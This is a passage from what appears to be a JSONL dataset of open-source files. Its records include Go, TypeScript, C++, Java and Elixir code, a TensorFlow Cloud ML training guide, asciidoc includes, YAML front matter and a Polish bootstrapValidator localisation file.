Logrus Exit handler, call logrus.Exit to invoke\n// all handlers. The handlers will also be invoked when any Fatal log entry is\n// made.\n//\n// This method is useful when a caller wishes to use logrus to log a fatal\n// message but also needs to gracefully shutdown. An example usecase could be\n// closing database connections, or sending a alert that the application is\n// closing.\nfunc RegisterExitHandler(handler func()) {\n\thandlers = append(handlers, handler)\n}\n"}
+{"text": "/*!\n * Copyright 2018-2019 Amazon.com, Inc. or its affiliates. All Rights Reserved.\n * SPDX-License-Identifier: Apache-2.0\n */\n\nimport * as nls from 'vscode-nls'\nconst localize = nls.loadMessageBundle()\nimport * as path from 'path'\nimport * as vscode from 'vscode'\nimport { SchemaClient } from '../../../src/shared/clients/schemaClient'\nimport { createSchemaCodeDownloaderObject } from '../..//eventSchemas/commands/downloadSchemaItemCode'\nimport {\n    SchemaCodeDownloader,\n    SchemaCodeDownloadRequestDetails,\n} from '../../eventSchemas/commands/downloadSchemaItemCode'\nimport { getApiValueForSchemasDownload } from '../../eventSchemas/models/schemaCodeLangs'\nimport {\n    buildSchemaTemplateParameters,\n    SchemaTemplateParameters,\n} from '../../eventSchemas/templates/schemasAppTemplateUtils'\nimport { ActivationLaunchPath } from '../../shared/activationLaunchPath'\nimport { AwsContext } from '../../shared/awsContext'\nimport { ext } from '../../shared/extensionGlobals'\nimport { fileExists } from '../../shared/filesystemUtilities'\nimport { getLogger } from '../../shared/logger'\nimport { RegionProvider } from '../../shared/regions/regionProvider'\nimport { getRegionsForActiveCredentials } from '../../shared/regions/regionUtilities'\nimport { getSamCliVersion, getSamCliContext, SamCliContext } from '../../shared/sam/cli/samCliContext'\nimport { runSamCliInit, SamCliInitArgs } from '../../shared/sam/cli/samCliInit'\nimport { throwAndNotifyIfInvalid } from '../../shared/sam/cli/samCliValidationUtils'\nimport { SamCliValidator } from '../../shared/sam/cli/samCliValidator'\nimport { recordSamInit, Result, Runtime } from '../../shared/telemetry/telemetry'\nimport { makeCheckLogsMessage } from '../../shared/utilities/messages'\nimport { ChannelLogger } from '../../shared/utilities/vsCodeUtils'\nimport { addFolderToWorkspace } from '../../shared/utilities/workspaceUtils'\nimport { getDependencyManager } from '../models/samLambdaRuntime'\nimport { eventBridgeStarterAppTemplate } from '../models/samTemplates'\nimport {\n    CreateNewSamAppWizard,\n    CreateNewSamAppWizardResponse,\n    DefaultCreateNewSamAppWizardContext,\n} from '../wizards/samInitWizard'\nimport { LaunchConfiguration } from '../../shared/debug/launchConfiguration'\nimport { SamDebugConfigProvider } from '../../shared/sam/debugger/awsSamDebugger'\nimport { ExtContext } from '../../shared/extensions'\nimport { isTemplateTargetProperties } from '../../shared/sam/debugger/awsSamDebugConfiguration'\nimport { TemplateTargetProperties } from '../../shared/sam/debugger/awsSamDebugConfiguration'\nimport * as pathutils from '../../shared/utilities/pathUtils'\n\nexport async function resumeCreateNewSamApp(\n    extContext: ExtContext,\n    activationLaunchPath: ActivationLaunchPath = new ActivationLaunchPath()\n) {\n    try {\n        const pathToLaunch = activationLaunchPath.getLaunchPath()\n        if (!pathToLaunch) {\n            return\n        }\n\n        const uri = vscode.Uri.file(pathToLaunch)\n        const folder = vscode.workspace.getWorkspaceFolder(uri)\n        if (!folder) {\n            // This should never happen, as `pathToLaunch` will only be set if `uri` is in\n            // the newly added workspace folder.\n            vscode.window.showErrorMessage(\n                localize(\n                    'AWS.samcli.initWizard.source.error.notInWorkspace',\n                    \"Could not open file '{0}'. If this file exists on disk, try adding it to your workspace.\",\n                    uri.fsPath\n                )\n            )\n\n            return\n        }\n\n        await addInitialLaunchConfiguration(extContext, folder, uri)\n        await vscode.window.showTextDocument(uri)\n    } finally {\n        activationLaunchPath.clearLaunchPath()\n    }\n}\n\nexport interface CreateNewSamApplicationResults {\n    runtime: string\n    result: Result\n}\n\ntype createReason = 'unknown' | 'userCancelled' | 'fileNotFound' | 'complete' | 'error'\n\n/**\n * Runs `sam init` in the given context and returns useful metadata about its invocation\n */\nexport async function createNewSamApplication(\n    extContext: ExtContext,\n    samCliContext: SamCliContext = getSamCliContext(),\n    activationLaunchPath: ActivationLaunchPath = new ActivationLaunchPath()\n): Promise {\n    let channelLogger: ChannelLogger = extContext.chanLogger\n    let awsContext: AwsContext = extContext.awsContext\n    let regionProvider: RegionProvider = extContext.regionProvider\n    let createResult: Result = 'Succeeded'\n    let reason: createReason = 'unknown'\n    let createRuntime: Runtime | undefined\n    let config: CreateNewSamAppWizardResponse | undefined\n\n    let initArguments: SamCliInitArgs\n\n    try {\n        await validateSamCli(samCliContext.validator)\n\n        const currentCredentials = await awsContext.getCredentials()\n        const availableRegions = getRegionsForActiveCredentials(awsContext, regionProvider)\n        const schemasRegions = availableRegions.filter(region => regionProvider.isServiceInRegion('schemas', region.id))\n        const samCliVersion = await getSamCliVersion(samCliContext)\n\n        const wizardContext = new DefaultCreateNewSamAppWizardContext(currentCredentials, schemasRegions, samCliVersion)\n        config = await new CreateNewSamAppWizard(wizardContext).run()\n\n        if (!config) {\n            createResult = 'Cancelled'\n            reason = 'userCancelled'\n\n            return\n        }\n\n        // This cast (and all like it) will always succeed because Runtime (from config.runtime) is the same\n        // section of types as Runtime\n        createRuntime = config.runtime as Runtime\n\n        // TODO: Make this selectable in the wizard to account for runtimes with multiple dependency managers\n        const dependencyManager = getDependencyManager(config.runtime)\n\n        initArguments = {\n            name: config.name,\n            location: config.location.fsPath,\n            runtime: config.runtime,\n            dependencyManager,\n            template: config.template,\n        }\n\n        let request: SchemaCodeDownloadRequestDetails\n        let schemaCodeDownloader: SchemaCodeDownloader\n        let schemaTemplateParameters: SchemaTemplateParameters\n        let client: SchemaClient\n        if (config.template === eventBridgeStarterAppTemplate) {\n            client = ext.toolkitClientBuilder.createSchemaClient(config.region!)\n            schemaTemplateParameters = await buildSchemaTemplateParameters(\n                config.schemaName!,\n                config.registryName!,\n                client\n            )\n\n            initArguments.extraContent = schemaTemplateParameters.templateExtraContent\n        }\n\n        await runSamCliInit(initArguments, samCliContext)\n\n        const uri = await getMainUri(config)\n        if (!uri) {\n            reason = 'fileNotFound'\n\n            return\n        }\n\n        if (config.template === eventBridgeStarterAppTemplate) {\n            const destinationDirectory = path.join(config.location.fsPath, config.name, 'hello_world_function')\n            request = {\n                registryName: config.registryName!,\n                schemaName: config.schemaName!,\n                language: getApiValueForSchemasDownload(config.runtime),\n                schemaVersion: schemaTemplateParameters!.SchemaVersion,\n                destinationDirectory: vscode.Uri.file(destinationDirectory),\n            }\n            schemaCodeDownloader = createSchemaCodeDownloaderObject(client!, channelLogger.channel)\n            channelLogger.info(\n                'AWS.message.info.schemas.downloadCodeBindings.start',\n                'Downloading code for schema {0}...',\n                config.schemaName!\n            )\n\n            await schemaCodeDownloader!.downloadCode(request!)\n\n            vscode.window.showInformationMessage(\n                localize(\n                    'AWS.message.info.schemas.downloadCodeBindings.finished',\n                    'Downloaded code for schema {0}!',\n                    request!.schemaName\n                )\n            )\n        }\n\n        // In case adding the workspace folder triggers a VS Code restart, instruct extension to\n        // launch app file after activation.\n        activationLaunchPath.setLaunchPath(uri.fsPath)\n        await addFolderToWorkspace(\n            {\n                uri: config.location,\n                name: path.basename(config.location.fsPath),\n            },\n            true\n        )\n\n        await addInitialLaunchConfiguration(extContext, vscode.workspace.getWorkspaceFolder(uri)!, uri)\n        await vscode.window.showTextDocument(uri)\n        activationLaunchPath.clearLaunchPath()\n\n        reason = 'complete'\n    } catch (err) {\n        createResult = 'Failed'\n        reason = 'error'\n\n        const checkLogsMessage = makeCheckLogsMessage()\n\n        channelLogger.channel.show(true)\n        channelLogger.error(\n            'AWS.samcli.initWizard.general.error',\n            'An error occurred while creating a new SAM Application. {0}',\n            checkLogsMessage\n        )\n\n        getLogger().error('Error creating new SAM Application: %O', err as Error)\n\n        // An error occured, so do not try to open any files during the next extension activation\n        activationLaunchPath.clearLaunchPath()\n    } finally {\n        recordSamInit({\n            result: createResult,\n            reason: reason,\n            runtime: createRuntime,\n            name: config?.name,\n        })\n    }\n}\n\nasync function validateSamCli(samCliValidator: SamCliValidator): Promise {\n    const validationResult = await samCliValidator.detectValidSamCli()\n    throwAndNotifyIfInvalid(validationResult)\n}\n\nasync function getMainUri(\n    config: Pick\n): Promise {\n    const cfnTemplatePath = path.resolve(config.location.fsPath, config.name, 'template.yaml')\n    if (await fileExists(cfnTemplatePath)) {\n        return vscode.Uri.file(cfnTemplatePath)\n    } else {\n        vscode.window.showWarningMessage(\n            localize(\n                'AWS.samcli.initWizard.source.error.notFound',\n                'Project created successfully, but main source code file not found: {0}',\n                cfnTemplatePath\n            )\n        )\n    }\n}\n\nexport async function addInitialLaunchConfiguration(\n    extContext: ExtContext,\n    folder: vscode.WorkspaceFolder,\n    targetUri: vscode.Uri,\n    launchConfiguration: LaunchConfiguration = new LaunchConfiguration(folder.uri)\n): Promise {\n    let configurations = await new SamDebugConfigProvider(extContext).provideDebugConfigurations(folder)\n    if (configurations) {\n        // add configurations that target the new template file\n        const filtered = configurations.filter(\n            config =>\n                isTemplateTargetProperties(config.invokeTarget) &&\n                pathutils.areEqual(\n                    folder.uri.fsPath,\n                    (config.invokeTarget as TemplateTargetProperties).templatePath,\n                    targetUri.fsPath\n                )\n        )\n\n        await launchConfiguration.addDebugConfigurations(filtered)\n    }\n}\n"}
+{"text": "// Copyright 2005 Daniel Wallin.\r\n// Copyright 2005 Joel de Guzman.\r\n//\r\n// Use, modification and distribution is subject to the Boost Software\r\n// License, Version 1.0. (See accompanying file LICENSE_1_0.txt or copy at\r\n// http://www.boost.org/LICENSE_1_0.txt)\r\n//\r\n// Modeled after range_ex, Copyright 2004 Eric Niebler\r\n///////////////////////////////////////////////////////////////////////////////\r\n//\r\n// has_equal_range.hpp\r\n//\r\n/////////////////////////////////////////////////////////////////////////////\r\n\r\n#if defined(_MSC_VER)\r\n#pragma once\r\n#endif\r\n\r\n#ifndef BOOST_PHOENIX_HAS_EQUAL_RANGE_EN_14_12_2004\r\n#define BOOST_PHOENIX_HAS_EQUAL_RANGE_EN_14_12_2004\r\n\r\n#include \r\n#include \"./is_std_map.hpp\"\r\n#include \"./is_std_set.hpp\"\r\n#include \"./is_std_hash_map.hpp\"\r\n#include \"./is_std_hash_set.hpp\"\r\n\r\nnamespace boost\r\n{\r\n    // Specialize this for user-defined types\r\n    template\r\n    struct has_equal_range\r\n        : boost::mpl::or_<\r\n            boost::mpl::or_<\r\n                is_std_map\r\n              , is_std_multimap\r\n              , is_std_set\r\n              , is_std_multiset\r\n            >\r\n          , boost::mpl::or_<\r\n                is_std_hash_map\r\n              , is_std_hash_multimap\r\n              , is_std_hash_set\r\n              , is_std_hash_multiset\r\n          >\r\n        >\r\n    {\r\n    };\r\n}\r\n\r\n#endif\r\n"}
+{"text": "# Running on Google Cloud Platform\n\nThe Tensorflow Object Detection API supports distributed training on Google\nCloud ML Engine. This section documents instructions on how to train and\nevaluate your model using Cloud ML. The reader should complete the following\nprerequistes:\n\n1. The reader has created and configured a project on Google Cloud Platform.\nSee [the Cloud ML quick start guide](https://cloud.google.com/ml-engine/docs/quickstarts/command-line).\n2. The reader has installed the Tensorflow Object Detection API as documented\nin the [installation instructions](installation.md).\n3. The reader has a valid data set and stored it in a Google Cloud Storage\nbucket. See [this page](preparing_inputs.md) for instructions on how to generate\na dataset for the PASCAL VOC challenge or the Oxford-IIIT Pet dataset.\n4. The reader has configured a valid Object Detection pipeline, and stored it\nin a Google Cloud Storage bucket. See [this page](configuring_jobs.md) for\ndetails on how to write a pipeline configuration.\n\nAdditionally, it is recommended users test their job by running training and\nevaluation jobs for a few iterations\n[locally on their own machines](running_locally.md).\n\n## Packaging\n\nIn order to run the Tensorflow Object Detection API on Cloud ML, it must be\npackaged (along with it's TF-Slim dependency). The required packages can be\ncreated with the following command\n\n``` bash\n# From tensorflow/models/\npython setup.py sdist\n(cd slim && python setup.py sdist)\n```\n\nThis will create python packages in dist/object_detection-0.1.tar.gz and\nslim/dist/slim-0.1.tar.gz.\n\n## Running a Multiworker Training Job\n\nGoogle Cloud ML requires a YAML configuration file for a multiworker training\njob using GPUs. A sample YAML file is given below:\n\n```\ntrainingInput:\n  runtimeVersion: \"1.0\"\n  scaleTier: CUSTOM\n  masterType: standard_gpu\n  workerCount: 9\n  workerType: standard_gpu\n  parameterServerCount: 3\n  parameterServerType: standard\n\n\n```\n\nPlease keep the following guidelines in mind when writing the YAML\nconfiguration:\n\n* A job with n workers will have n + 1 training machines (n workers + 1 master).\n* The number of parameters servers used should be an odd number to prevent\n  a parameter server from storing only weight variables or only bias variables\n  (due to round robin parameter scheduling).\n* The learning rate in the training config should be decreased when using a\n  larger number of workers. Some experimentation is required to find the\n  optimal learning rate.\n\nThe YAML file should be saved on the local machine (not on GCP). Once it has\nbeen written, a user can start a training job on Cloud ML Engine using the\nfollowing command:\n\n``` bash\n# From tensorflow/models/\ngcloud ml-engine jobs submit training object_detection_`date +%s` \\\n    --job-dir=gs://${TRAIN_DIR} \\\n    --packages dist/object_detection-0.1.tar.gz,slim/dist/slim-0.1.tar.gz \\\n    --module-name object_detection.train \\\n    --region us-central1 \\\n    --config ${PATH_TO_LOCAL_YAML_FILE} \\\n    -- \\\n    --train_dir=gs://${TRAIN_DIR} \\\n    --pipeline_config_path=gs://${PIPELINE_CONFIG_PATH}\n```\n\nWhere `${PATH_TO_LOCAL_YAML_FILE}` is the local path to the YAML configuration,\n`gs://${TRAIN_DIR}` specifies the directory on Google Cloud Storage where the\ntraining checkpoints and events will be written to and\n`gs://${PIPELINE_CONFIG_PATH}` points to the pipeline configuration stored on\nGoogle Cloud Storage.\n\nUsers can monitor the progress of their training job on the [ML Engine\nDashboard](https://console.cloud.google.com/mlengine/jobs).\n\n## Running an Evaluation Job on Cloud\n\nEvaluation jobs run on a single machine, so it is not necessary to write a YAML\nconfiguration for evaluation. Run the following command to start the evaluation\njob:\n\n``` bash\ngcloud ml-engine jobs submit training object_detection_eval_`date +%s` \\\n    --job-dir=gs://${TRAIN_DIR} \\\n    --packages dist/object_detection-0.1.tar.gz,slim/dist/slim-0.1.tar.gz \\\n    --module-name object_detection.eval \\\n    --region us-central1 \\\n    --scale-tier BASIC_GPU \\\n    -- \\\n    --checkpoint_dir=gs://${TRAIN_DIR} \\\n    --eval_dir=gs://${EVAL_DIR} \\\n    --pipeline_config_path=gs://${PIPELINE_CONFIG_PATH}\n```\n\nWhere `gs://${TRAIN_DIR}` points to the directory on Google Cloud Storage where\ntraining checkpoints are saved (same as the training job), `gs://${EVAL_DIR}`\npoints to where evaluation events will be saved on Google Cloud Storage and\n`gs://${PIPELINE_CONFIG_PATH}` points to where the pipeline configuration is\nstored on Google Cloud Storage.\n\n## Running Tensorboard\n\nYou can run Tensorboard locally on your own machine to view progress of your\ntraining and eval jobs on Google Cloud ML. Run the following command to start\nTensorboard:\n\n``` bash\ntensorboard --logdir=gs://${YOUR_CLOUD_BUCKET}\n```\n\nNote it may Tensorboard a few minutes to populate with results.\n"}
+{"text": "#---\n# Excerpted from \"Programming Elixir 1.3\",\n# published by The Pragmatic Bookshelf.\n# Copyrights apply to this code. It may not be used to create training material,\n# courses, books, articles, and the like. Contact us if you are in doubt.\n# We make no guarantees that this code is fit for any purpose.\n# Visit http://www.pragmaticprogrammer.com/titles/elixir13 for more book information.\n#---\ndefmodule Utf8 do\n  def each(str, func) when is_binary(str), do: _each(str, func)\n\n  defp _each(<< head :: utf8, tail :: binary >>, func) do\n    func.(head)\n    _each(tail, func)\n  end\n\n  defp _each(<<>>, _func), do: []\nend\n\nUtf8.each \"∂og\", fn char -> IO.puts char end"}
+{"text": "[[ch_composite_data]]\n== Composite Data\n\ninclude::2-00_introduction.asciidoc[]\n\n/////\nLists\n/////\n\ninclude::2-01_creating-a-list.asciidoc[]\n\ninclude::2-02_creating-a-list-from-existing.asciidoc[]\n\ninclude::2-03_adding-an-item.asciidoc[]\n\ninclude::2-04_removing-an-item.asciidoc[]\n\ninclude::2-05_test-for-a-list.asciidoc[]\n\n///////\nVectors\n///////\ninclude::2-06_creating-a-vector.asciidoc[]\n\ninclude::2-07_adding-an-item.asciidoc[]\n\ninclude::2-08_removing-an-item.asciidoc[]\n\ninclude::2-09_get-item-at-index.asciidoc[]\n\ninclude::2-10_set-item-at-index.asciidoc[]\n\n////\nSets\n////\n\ninclude::2-11_creating-a-set.asciidoc[]\n\ninclude::2-12_adding-and-removing.asciidoc[]\n\ninclude::2-13_testing-set-membership.asciidoc[]\n\ninclude::2-14_using-set-operations.asciidoc[]\n\n////\nMaps\n////\n\ninclude::2-15_creating-a-map.asciidoc[]\n\ninclude::2-16_retrieving-keys.asciidoc[]\n\ninclude::2-17_retrieving-multiple-keys.asciidoc[]\n\ninclude::2-18_setting-keys.asciidoc[]\n\ninclude::2-19_using-composites-as-keys.asciidoc[]\n\ninclude::2-20_as-sequences.asciidoc[]\n\ninclude::2-21_applying-functions-to.asciidoc[]\n\ninclude::2-22_multiple-values/2-22_multiple-values.asciidoc[]\n\ninclude::2-23_combining-maps.asciidoc[]\n\n////\nMiscellaneous\n////\n\ninclude::2-24_sorting.asciidoc[]\n\ninclude::2-25_removing-duplicate-elements-from-a-collection.asciidoc[]\n\ninclude::2-26_determining-if-a-collection-holds-one-of-several-values.asciidoc[]\n\ninclude::2-27_and_2-28_custom-data-structures/2-27_red-black-trees-part-i.asciidoc[]\n\ninclude::2-27_and_2-28_custom-data-structures/2-28_red-black-trees-part-ii.asciidoc[]\n"}
+{"text": "/* -*- c++ -*- */\n/*\n * Copyright © 2010 Intel Corporation\n *\n * Permission is hereby granted, free of charge, to any person obtaining a\n * copy of this software and associated documentation files (the \"Software\"),\n * to deal in the Software without restriction, including without limitation\n * the rights to use, copy, modify, merge, publish, distribute, sublicense,\n * and/or sell copies of the Software, and to permit persons to whom the\n * Software is furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice (including the next\n * paragraph) shall be included in all copies or substantial portions of the\n * Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.  IN NO EVENT SHALL\n * THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING\n * FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER\n * DEALINGS IN THE SOFTWARE.\n */\n\n#pragma once\n#ifndef LOOP_ANALYSIS_H\n#define LOOP_ANALYSIS_H\n\n#include \"ir.h\"\n#include \"program/hash_table.h\"\n\n/**\n * Analyze and classify all variables used in all loops in the instruction list\n */\nextern class loop_state *\nanalyze_loop_variables(exec_list *instructions);\n\n\n/**\n * Fill in loop control fields\n *\n * Based on analysis of loop variables, this function tries to remove\n * redundant sequences in the loop of the form\n *\n *  (if (expression bool ...) (break))\n *\n * For example, if it is provable that one loop exit condition will\n * always be satisfied before another, the unnecessary exit condition will be\n * removed.\n */\nextern bool\nset_loop_controls(exec_list *instructions, loop_state *ls);\n\n\nextern bool\nunroll_loops(exec_list *instructions, loop_state *ls,\n             const struct gl_shader_compiler_options *options);\n\nir_rvalue *\nfind_initial_value(ir_loop *loop, ir_variable *var, ir_instruction **out_containing_ir);\n\nint\ncalculate_iterations(ir_rvalue *from, ir_rvalue *to, ir_rvalue *increment,\n\t\t     enum ir_expression_operation op);\n\n\n/**\n * Tracking for all variables used in a loop\n */\nclass loop_variable_state : public exec_node {\npublic:\n   class loop_variable *get(const ir_variable *);\n   class loop_variable *insert(ir_variable *);\n   class loop_variable *get_or_insert(ir_variable *, bool in_assignee);\n   class loop_terminator *insert(ir_if *);\n\n\n   /**\n    * Variables that have not yet been classified\n    */\n   exec_list variables;\n\n   /**\n    * Variables whose values are constant within the body of the loop\n    *\n    * This list contains \\c loop_variable objects.\n    */\n   exec_list constants;\n\n   /**\n    * Induction variables for this loop\n    *\n    * This list contains \\c loop_variable objects.\n    */\n   exec_list induction_variables;\n   int private_induction_variable_count;\n\n   /**\n    * Simple if-statements that lead to the termination of the loop\n    *\n    * This list contains \\c loop_terminator objects.\n    *\n    * \\sa is_loop_terminator\n    */\n   exec_list terminators;\n\n   /**\n    * If any of the terminators in \\c terminators leads to termination of the\n    * loop after a constant number of iterations, this is the terminator that\n    * leads to termination after the smallest number of iterations.  Otherwise\n    * NULL.\n    */\n   loop_terminator *limiting_terminator;\n\n   /**\n    * Hash table containing all variables accessed in this loop\n    */\n   hash_table *var_hash;\n\n   /**\n    * Number of ir_loop_jump instructions that operate on this loop\n    */\n   unsigned num_loop_jumps;\n\n   /**\n    * Whether this loop contains any function calls.\n    */\n   bool contains_calls;\n\n   loop_variable_state()\n   {\n      this->num_loop_jumps = 0;\n      this->contains_calls = false;\n      this->var_hash = hash_table_ctor(0, hash_table_pointer_hash,\n\t\t\t\t       hash_table_pointer_compare);\n      this->limiting_terminator = NULL;\n   }\n\n   ~loop_variable_state()\n   {\n      hash_table_dtor(this->var_hash);\n   }\n\n   DECLARE_RALLOC_CXX_OPERATORS(loop_variable_state)\n};\n\n\nclass loop_variable : public exec_node {\npublic:\n   /** The variable in question. */\n   ir_variable *var;\n\n   /** Is the variable read in the loop before it is written? */\n   bool read_before_write;\n\n   /** Are all variables in the RHS of the assignment loop constants? */\n   bool rhs_clean;\n\n   /**\n    * Is there an assignment to the variable that is conditional, or inside a\n    * nested loop?\n    */\n   bool conditional_or_nested_assignment;\n\n   /** Reference to the first assignment to the variable in the loop body. */\n   ir_assignment *first_assignment;\n\n   /** Reference to initial value outside of the loop. */\n   ir_rvalue *initial_value;\n   /** IR that assigned the initial value. */\n   ir_instruction *initial_value_ir;\n\n   /** Number of assignments to the variable in the loop body. */\n   unsigned num_assignments;\n\n   /**\n    * Increment value for a loop induction variable\n    *\n    * If this is a loop induction variable, the amount by which the variable\n    * is incremented on each iteration through the loop.\n    *\n    * If this is not a loop induction variable, NULL.\n    */\n   ir_rvalue *increment;\n\n\n   inline bool is_induction_var() const\n   {\n      /* Induction variables always have a non-null increment, and vice\n       * versa.\n       */\n      return this->increment != NULL;\n   }\n\n\n   inline bool is_loop_constant() const\n   {\n      const bool is_const = (this->num_assignments == 0)\n         || (((this->num_assignments == 1)\n\t     && !this->conditional_or_nested_assignment\n\t     && !this->read_before_write\n             && this->rhs_clean) || this->var->data.read_only);\n\n      /* If the RHS of *the* assignment is clean, then there must be exactly\n       * one assignment of the variable.\n       */\n      assert((this->rhs_clean && (this->num_assignments == 1))\n\t     || !this->rhs_clean);\n\n      return is_const;\n   }\n\n   void record_reference(bool in_assignee,\n                         bool in_conditional_code_or_nested_loop,\n                         ir_assignment *current_assignment);\n};\n\n\nclass loop_terminator : public exec_node {\npublic:\n   loop_terminator()\n      : ir(NULL), iterations(-1)\n   {\n   }\n\n   /**\n    * Statement which terminates the loop.\n    */\n   ir_if *ir;\n\n   /**\n    * The number of iterations after which the terminator is known to\n    * terminate the loop (if that is a fixed value).  Otherwise -1.\n    */\n   int iterations;\n};\n\n\nclass loop_state {\npublic:\n   ~loop_state();\n\n   /**\n    * Get the loop variable state data for a particular loop\n    */\n   loop_variable_state *get(const ir_loop *);\n\n   loop_variable_state *insert(ir_loop *ir);\n\t\n   loop_variable_state* get_for_inductor (const ir_variable*);\n   bool insert_inductor(loop_variable* loopvar, loop_variable_state* state, ir_loop* loop);\n   void insert_non_inductor(ir_variable *var);\n\n   bool loop_found;\n\nprivate:\n   loop_state();\n\n   /**\n    * Hash table containing all loops that have been analyzed.\n    */\n   hash_table *ht;\n\t\n   /**\n    * Hash table from ir_variables to loop state, for induction variables.\n    */\n   hash_table *ht_inductors;\n   hash_table *ht_non_inductors;\n \n\n   void *mem_ctx;\n\n   friend loop_state *analyze_loop_variables(exec_list *instructions);\n};\n\n#endif /* LOOP_ANALYSIS_H */\n"}
+{"text": "/*\n * Copyright (C) 2014 The Android Open Source Project\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\npackage com.android.tools.idea.avdmanager;\n\nimport com.android.sdklib.devices.Device;\nimport com.intellij.openapi.fileChooser.FileChooserDescriptor;\nimport com.intellij.openapi.fileChooser.FileChooserFactory;\nimport com.intellij.openapi.vfs.LocalFileSystem;\nimport com.intellij.openapi.vfs.VfsUtilCore;\nimport com.intellij.openapi.vfs.VirtualFile;\nimport java.awt.event.ActionEvent;\nimport java.io.File;\nimport java.util.ArrayList;\nimport java.util.List;\nimport org.jetbrains.annotations.NotNull;\n\n\n/**\n * Action to import devices from a given file\n */\npublic class ImportDevicesAction extends DeviceUiAction {\n  public ImportDevicesAction(@NotNull DeviceProvider provider) {\n    super(provider, \"Import Hardware Profiles\");\n  }\n\n  @Override\n  public boolean isEnabled() {\n    return true;\n  }\n\n  @Override\n  public void actionPerformed(ActionEvent e) {\n    FileChooserDescriptor descriptor = new FileChooserDescriptor(true, false, false, false, false, true);\n    String homePath = System.getProperty(\"user.home\");\n    File parentPath = homePath == null ? new File(\"/\") : new File(homePath);\n    VirtualFile parent = LocalFileSystem.getInstance().findFileByIoFile(parentPath);\n    VirtualFile[] files =\n      FileChooserFactory.getInstance().createFileChooser(descriptor, myProvider.getProject(), null).choose(parent, null);\n    List importedDevices = new ArrayList<>();\n    for (VirtualFile vf : files) {\n      for (Device d : DeviceManagerConnection.getDevicesFromFile(VfsUtilCore.virtualToIoFile(vf))) {\n        importedDevices.add(d);\n      }\n    }\n    if (!importedDevices.isEmpty()) {\n      DeviceManagerConnection.getDefaultDeviceManagerConnection().createDevices(importedDevices);\n      myProvider.refreshDevices();\n    }\n  }\n}\n"}
+{"text": "---\nfacebook: 'https://facebook.com/PortfoliumHQ'\ninstagram: 'https://instagram.com/portfolium'\nlinkedin: 'https://linkedin.com/company/portfolium'\nlogohandle: portfolium\nsort: portfolium\ntitle: Portfolium\ntwitter: portfoliumHQ\nwebsite: 'https://portfolium.com/'\n---\n"}
+{"text": "#ifndef BOOST_SERIALIZATION_LEVEL_ENUM_HPP\n#define BOOST_SERIALIZATION_LEVEL_ENUM_HPP\n\n// MS compatible compilers support #pragma once\n#if defined(_MSC_VER)\n# pragma once\n#endif\n\n/////////1/////////2/////////3/////////4/////////5/////////6/////////7/////////8\n// level_enum.hpp:\n\n// (C) Copyright 2002 Robert Ramey - http://www.rrsd.com . \n// Use, modification and distribution is subject to the Boost Software\n// License, Version 1.0. (See accompanying file LICENSE_1_0.txt or copy at\n// http://www.boost.org/LICENSE_1_0.txt)\n\n//  See http://www.boost.org for updates, documentation, and revision history.\n\nnamespace boost {\nnamespace serialization {\n\n// for each class used in the program, specify which level\n// of serialization should be implemented\n\n// names for each level\nenum level_type\n{\n    // Don't serialize this type. An attempt to do so should\n    // invoke a compile time assertion.\n    not_serializable = 0,\n    // write/read this type directly to the archive. In this case\n    // serialization code won't be called.  This is the default\n    // case for fundamental types.  It presumes a member function or\n    // template in the archive class that can handle this type.\n    // there is no runtime overhead associated reading/writing\n    // instances of this level\n    primitive_type = 1,\n    // Serialize the objects of this type using the objects \"serialize\"\n    // function or template. This permits values to be written/read\n    // to/from archives but includes no class or version information. \n    object_serializable = 2,\n    ///////////////////////////////////////////////////////////////////\n    // once an object is serialized at one of the above levels, the\n    // corresponding archives cannot be read if the implementation level\n    // for the archive object is changed.  \n    ///////////////////////////////////////////////////////////////////\n    // Add class information to the archive.  Class information includes\n    // implementation level, class version and class name if available\n    object_class_info = 3\n};\n\n} // namespace serialization\n} // namespace boost\n\n#endif // BOOST_SERIALIZATION_LEVEL_ENUM_HPP\n"}
+{"text": "(function($) {\n    /**\n     * Polish language package\n     * Translated by @grzesiek\n     */\n    $.fn.bootstrapValidator.i18n = $.extend(true, $.fn.bootstrapValidator.i18n, {\n        base64: {\n            'default': 'Wpisz poprawny ciąg znaków zakodowany w base 64'\n        },\n        between: {\n            'default': 'Wprowadź wartość pomiędzy %s i %s',\n            notInclusive: 'Wprowadź wartość pomiędzy %s i %s (zbiór otwarty)'\n        },\n        callback: {\n            'default': 'Wprowadź poprawną wartość'\n        },\n        choice: {\n            'default': 'Wprowadź poprawną wartość',\n            less: 'Wybierz przynajmniej %s opcji',\n            more: 'Wybierz maksymalnie %s opcji',\n            between: 'Wybierz przynajmniej %s i maksymalnie %s opcji'\n        },\n        creditCard: {\n            'default': 'Wprowadź poprawny numer karty kredytowej'\n        },\n        cusip: {\n            'default': 'Wprowadź poprawny numer CUSIP'\n        },\n        cvv: {\n            'default': 'Wprowadź poprawny numer CVV'\n        },\n        date: {\n            'default': 'Wprowadź poprawną datę'\n        },\n        different: {\n            'default': 'Wprowadź inną wartość'\n        },\n        digits: {\n             'default': 'Wprowadź tylko cyfry'\n        },\n        ean: {\n            'default': 'Wprowadź poprawny numer EAN'\n        },\n        emailAddress: {\n            'default': 'Wprowadź poprawny adres e-mail'\n        },\n        file: {\n            'default': 'Wybierz prawidłowy plik'\n        },\n        greaterThan: {\n            'default': 'Wprowadź wartość większą bądź równą %s',\n            notInclusive: 'Wprowadź wartość większą niż %s'\n        },\n        grid: {\n            'default': 'Wprowadź poprawny numer GRId'\n        },\n        hex: {\n            'default': 'Wprowadź poprawną liczbę w formacie heksadecymalnym'\n        },\n        